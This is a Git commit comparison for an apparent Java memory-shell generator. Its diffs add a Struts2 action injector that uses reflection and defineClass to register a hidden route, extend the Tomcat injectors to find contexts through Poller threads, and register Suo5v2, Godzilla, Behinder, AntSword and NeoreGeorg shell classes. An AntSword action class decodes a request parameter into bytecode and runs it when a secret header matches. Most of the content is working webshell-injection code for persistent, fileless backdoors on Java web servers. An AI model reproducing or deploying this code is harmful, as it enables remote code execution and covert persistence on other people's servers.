Compare commits

...
32 Commits
Author SHA1 Message Date
ReaJason 7f176dd443 docs: update changelog 2025-12-16 21:59:39 +08:00
ReaJason 43c410e653 chore: 2.4.1 2025-12-16 21:56:18 +08:00
ReaJason b9efe6dac5 docs: update changelog 2025-12-16 21:55:21 +08:00
ReaJason 930edbc8b0 refactor: migrate radix-ui to base-ui 2025-12-16 21:55:21 +08:00
ReaJason 0f473311f9 docs: update 2025-12-16 21:55:21 +08:00
ReaJason b412e9206d fix: context not found in fr v11 2025-12-16 21:55:21 +08:00
ReaJason d9205aaff7 Revert "fix: close respOutputStream in finally"
This reverts commit 25e4086241.
2025-12-16 21:55:21 +08:00
ReaJason 4dda9236ca docs: add springweb intro 2025-12-16 21:55:21 +08:00
ReaJason 694e60bd23 docs: fix typo 2025-12-16 21:55:21 +08:00
ReaJason 25ffe5bb14 chore: upgrade deps 2025-12-16 21:55:21 +08:00
ReaJason e9265b52f5 style: format code 2025-12-16 21:55:21 +08:00
ReaJason e872e0cd06 feat: add tooltip for paramName 2025-12-16 21:55:21 +08:00
ReaJason b6219628ae feat: add tooltip for switch 2025-12-16 21:55:21 +08:00
ReaJason 0d1fab8740 docs: add more docs 2025-12-16 21:55:21 +08:00
ReaJason e9fb20fa07 fix: close respOutputStream in finally 2025-12-16 21:55:21 +08:00
ReaJason 97e365e935 docs: add more docs 2025-12-16 21:55:21 +08:00
ReaJason 75e3ed595a fix: shell connect failed due to empty body 2025-12-16 21:55:21 +08:00
ReaJason ab4ad88d6e fix: response body write failed when getOutputStream already called 2025-12-16 21:55:21 +08:00
ReaJason 9abea930b3 fix: throwable.printStackTrace not removed in debug off mode 2025-12-16 21:55:21 +08:00
ReaJason ab8773b177 docs: add memshell-core-config mdx 2025-12-16 21:55:21 +08:00
ReaJason 0de0efef9c chore: simplify deps 2025-12-16 21:55:21 +08:00
ReaJason 3d5851f3ae docs: add godzilla 2025-12-16 21:55:21 +08:00
ReaJason 9c298a2303 feat(ui): add image-zoom 2025-12-16 21:55:21 +08:00
zema1 b846f67c34 fix: close response outputstream in suo5v2 2025-12-14 18:45:58 +08:00
zema1 1e5f7dd281 feat: remove uneeded code 2025-12-14 18:45:58 +08:00
ReaJason 37832ee768 chore: 2.4.0 2025-12-10 02:10:59 +08:00
ReaJason a59282b2a9 docs: update changelog 2025-12-10 02:10:34 +08:00
ReaJason bf151faa1c docs: add suo5 usage 2025-12-10 02:09:13 +08:00
ReaJason 11c439f6c6 fix: rm jar package for probe shell 2025-12-10 02:09:13 +08:00
ReaJason a10386457c feat: support suo5 v2 jetty customizer 2025-12-10 02:09:13 +08:00
ReaJason dd9333e473 feat: support suo5 v2 shell 2025-12-10 02:09:13 +08:00
ReaJason d7a67b3056 feat: support struct2 memshell and probeshell 2025-12-10 02:09:13 +08:00
214 changed files with 18470 additions and 3737 deletions
@@ -48,6 +48,8 @@ jobs:
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
- middleware: "xxljob"
depend_tasks: ""
- middleware: "struct2"
depend_tasks: ":vul:vul-struct2:war"
runs-on: ubuntu-latest
name: ${{ matrix.cases.middleware }}
steps:
+2 -2
View File
@@ -42,8 +42,8 @@ jobs:
depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
- middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
- middleware: "struct2"
depend_tasks: ":vul:vul-struct2:war"
runs-on: ubuntu-latest
name: ${{ matrix.cases.middleware }}
steps:
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
+3 -1
View File
@@ -1,6 +1,6 @@
plugins {
id("java")
id("org.springframework.boot") version "3.5.7"
id("org.springframework.boot") version "3.5.8"
id("io.spring.dependency-management") version "1.1.7"
}
@@ -21,6 +21,8 @@ configurations {
}
}
extra["byte-buddy.version"] = libs.versions.byte.buddy.get()
dependencies {
implementation(project(":generator")) {
exclude(group = "commons-logging", module = "commons-logging")
@@ -55,7 +55,7 @@ public class MemShellGenerateRequest {
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
.build();
case Suo5 -> Suo5Config.builder()
case Suo5, Suo5v2 -> Suo5Config.builder()
.shellClassName(shellToolConfig.getShellClassName())
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
+1 -1
View File
@@ -7,5 +7,5 @@ repositories {
}
dependencies {
implementation("com.vanniktech:gradle-maven-publish-plugin:0.34.0")
implementation("com.vanniktech:gradle-maven-publish-plugin:0.35.0")
}
@@ -3,7 +3,7 @@ plugins {
}
mavenPublishing {
publishToMavenCentral(true)
publishToMavenCentral()
signAllPublications()
coordinates(
"io.github.reajason",
+1 -1
View File
@@ -9,7 +9,7 @@ idea {
}
}
version = "2.3.0"
version = "2.4.1"
tasks.register("publishAllToMavenCentral") {
dependsOn(":memshell-party-common:publishToMavenCentral")
+4 -5
View File
@@ -1,5 +1,5 @@
plugins {
id("java")
id("java-library")
alias(libs.plugins.lombok)
id("maven-publish-convention")
}
@@ -29,17 +29,16 @@ tasks.test {
dependencies {
implementation(project(":memshell-party-common"))
implementation(project(":packer"))
implementation(libs.byte.buddy)
api(libs.byte.buddy)
implementation(libs.asm.commons)
implementation(libs.javax.websocket.api)
implementation(libs.javax.servlet.api)
implementation(libs.spring.webmvc)
implementation(libs.spring.webflux)
implementation(libs.reactor.netty.core)
implementation(libs.jackson.annotations)
implementation(libs.bundles.jna)
implementation(libs.bcel)
implementation(libs.jackson.databind)
testImplementation(libs.junit.jupiter)
testImplementation(libs.hamcrest)
testRuntimeOnly(libs.junit.platform.launcher)
@@ -20,4 +20,5 @@ public class Server {
public static final String SpringWebMvc = "SpringWebMvc";
public static final String SpringWebFlux = "SpringWebFlux";
public static final String XXLJOB = "XXLJOB";
public static final String Struct2 = "Struct2";
}
@@ -8,6 +8,7 @@ import com.reajason.javaweb.memshell.shelltool.command.*;
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
import com.reajason.javaweb.memshell.shelltool.suo5.*;
import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
import java.util.Collections;
import java.util.List;
@@ -44,6 +45,7 @@ public class ServerFactory {
register(Server.SpringWebMvc, SpringWebMvc::new);
register(Server.SpringWebFlux, SpringWebFlux::new);
register(Server.XXLJOB, XxlJob::new);
register(Server.Struct2, Struct2::new);
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(SERVLET, GodzillaServlet.class)
@@ -76,6 +78,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
.addShellClass(ACTION, GodzillaStruct2Action.class)
.build());
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
@@ -100,6 +103,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
.addShellClass(ACTION, BehinderStruct2Action.class)
.build());
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
@@ -117,6 +121,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
.addShellClass(ACTION, AntSwordStruct2Action.class)
.build());
addToolMapping(ShellTool.Command, ToolMapping.builder()
@@ -151,6 +156,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
.addShellClass(ACTION, CommandStruct2Action.class)
.build());
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
@@ -176,6 +182,33 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
.addShellClass(ACTION, Suo5Struct2Action.class)
.build());
addToolMapping(ShellTool.Suo5v2, ToolMapping.builder()
.addShellClass(SERVLET, Suo5v2Servlet.class)
.addShellClass(JAKARTA_SERVLET, Suo5v2Servlet.class)
.addShellClass(FILTER, Suo5v2Filter.class)
.addShellClass(JAKARTA_FILTER, Suo5v2Filter.class)
.addShellClass(LISTENER, Suo5v2Listener.class)
.addShellClass(JAKARTA_LISTENER, Suo5v2Listener.class)
.addShellClass(VALVE, Suo5v2Valve.class)
.addShellClass(JAKARTA_VALVE, Suo5v2Valve.class)
.addShellClass(PROXY_VALVE, Suo5v2.class)
.addShellClass(JAKARTA_PROXY_VALVE, Suo5v2.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5v2Interceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5v2Interceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5v2.class)
.addShellClass(AGENT_FILTER_CHAIN, Suo5v2.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5v2.class)
.addShellClass(JETTY_AGENT_HANDLER, Suo5v2JettyHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class)
.addShellClass(ACTION, Suo5v2Struct2Action.class)
.addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class)
.build());
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
@@ -200,6 +233,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
.addShellClass(ACTION, NeoreGeorgStruct2Action.class)
.build());
}
@@ -9,6 +9,7 @@ public class ShellTool {
public static final String Behinder = "Behinder";
public static final String Command = "Command";
public static final String Suo5 = "Suo5";
public static final String Suo5v2 = "Suo5v2";
public static final String AntSword = "AntSword";
public static final String NeoreGeorg = "NeoreGeorg";
public static final String Custom = "Custom";
@@ -23,6 +23,7 @@ public class ShellToolFactory {
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
register(ShellTool.Suo5v2, Suo5Generator.class, Suo5Config.class);
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
@@ -46,4 +46,6 @@ public class ShellType {
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
public static final String WEBSOCKET = "WebSocket";
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
public static final String ACTION = "Action";
}
@@ -35,7 +35,7 @@ public class CommandConfig extends ShellToolConfig {
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
/**
* 命令执行模板,例如 sh -c "{command}" 2>&1使用 {command} 作为占位符
* 命令执行模板,使用 {command} 作为占位符
*/
private String template;
@@ -22,8 +22,8 @@ public final class ProcessorRegistry {
);
private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
new ShrinkPostProcessor(),
new JettyHandlerPostProcessor()
new JettyHandlerPostProcessor(),
new ShrinkPostProcessor()
);
private ProcessorRegistry() {
@@ -80,7 +80,7 @@ public class ApusicFilterInjector {
/**
* context: com.apusic.web.container.WebContainer
* context -> webapp: com.apusic.deploy.runtime.WebModule
* context - webapp: com.apusic.deploy.runtime.WebModule
* /usr/local/ass/lib/apusic.jar
*/
public Set<Object> getContext() throws Exception {
@@ -0,0 +1,230 @@
package com.reajason.javaweb.memshell.injector.struct2;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2025/12/8
*/
public class Struct2ActionInjector {
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public Struct2ActionInjector() {
if (ok) {
return;
}
Object context = null;
try {
context = getContext();
} catch (Throwable e) {
msg += "context error: " + getErrorMessage(e);
}
if (context == null) {
msg += "context not found";
} else {
try {
Object shell = getShell(context);
inject(context, shell);
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
ok = true;
System.out.println(msg);
}
public Object getContext() throws Exception {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
ClassLoader contextClassLoader = thread.getContextClassLoader();
if (contextClassLoader != null) {
try {
Class<?> clazz = contextClassLoader.loadClass("com.opensymphony.xwork2.ActionContext");
Object context = clazz.getMethod("getContext").invoke(null);
if (context != null) {
return context;
}
} catch (ClassNotFoundException e) {
continue;
}
}
}
return null;
}
private void inject(Object context, Object shell) throws Exception {
Object actionInvocation = invokeMethod(context, "getActionInvocation");
Object actionProxy = getFieldValue(actionInvocation, "proxy");
Object configuration = getFieldValue(actionProxy, "configuration");
Object runtimeConfiguration = getFieldValue(configuration, "runtimeConfiguration");
Map<String, Map<String, Object>> namespaceActionConfigs = (Map<String, Map<String, Object>>) getFieldValue(runtimeConfiguration, "namespaceActionConfigs");
for (Map.Entry<String, Map<String, Object>> entry : namespaceActionConfigs.entrySet()) {
String namespace = entry.getKey();
Map<String, Object> configs = entry.getValue();
if (!configs.isEmpty()) {
Object firstActionConfig = configs.entrySet().iterator().next().getValue();
String actionName = getUrlPattern().substring(1);
if (configs.containsKey(actionName)) {
continue;
}
String packageName = (String) getFieldValue(firstActionConfig, "packageName");
Class<?> actionConfigClass = context.getClass().getClassLoader().loadClass("com.opensymphony.xwork2.config.entities.ActionConfig");
Constructor<?> actionConfigConstructor = actionConfigClass.getDeclaredConstructor(String.class, String.class, String.class);
actionConfigConstructor.setAccessible(true);
Object actionConfig = actionConfigConstructor.newInstance(namespace, packageName, getClassName());
configs.put(actionName, actionConfig);
msg += "namespace: [" + (namespace.isEmpty() ? "default" : namespace) + "] [" + getUrlPattern() + "] ready\n";
}
}
}
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = context.getClass().getClassLoader();
Object interceptor = null;
try {
interceptor = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
interceptor = clazz.newInstance();
}
return interceptor;
}
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName) throws
Exception {
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
try {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
return null;
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -84,12 +84,24 @@ public class TomcatFilterInjector {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
@@ -71,15 +71,27 @@ public class TomcatListenerInjector {
}
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<>();
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
@@ -100,12 +100,24 @@ public class TomcatProxyValveInjector implements InvocationHandler {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
@@ -81,12 +81,24 @@ public class TomcatServletInjector {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
@@ -80,12 +80,24 @@ public class TomcatUpgradeInjector {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
@@ -74,12 +74,24 @@ public class TomcatValveInjector {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
@@ -80,12 +80,24 @@ public class TomcatWebSocketInjector {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
@@ -0,0 +1,18 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.injector.struct2.Struct2ActionInjector;
/**
* @author ReaJason
* @since 2025/12/8
*/
public class Struct2 extends AbstractServer {
@Override
public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(ShellType.ACTION, Struct2ActionInjector.class)
.build();
}
}
@@ -0,0 +1,53 @@
package com.reajason.javaweb.memshell.shelltool.antsword;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
/**
* @author ReaJason
* @since 2025/02/18
*/
public class AntSwordStruct2Action {
public static String pass;
public static String headerName;
public static String headerValue;
public void execute() throws Exception {
try {
Class<?> clazz = Class.forName("com.opensymphony.xwork2.ActionContext");
Object context = clazz.getMethod("getContext").invoke(null);
Method getMethod = clazz.getMethod("get", String.class);
HttpServletRequest request = (HttpServletRequest) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletRequest");
HttpServletResponse response = (HttpServletResponse) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse");
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = reflectionDefineClass(bytes).newInstance();
instance.equals(new Object[]{request, response});
}
} catch (Throwable e) {
e.printStackTrace();
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception {
try {
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
}
}
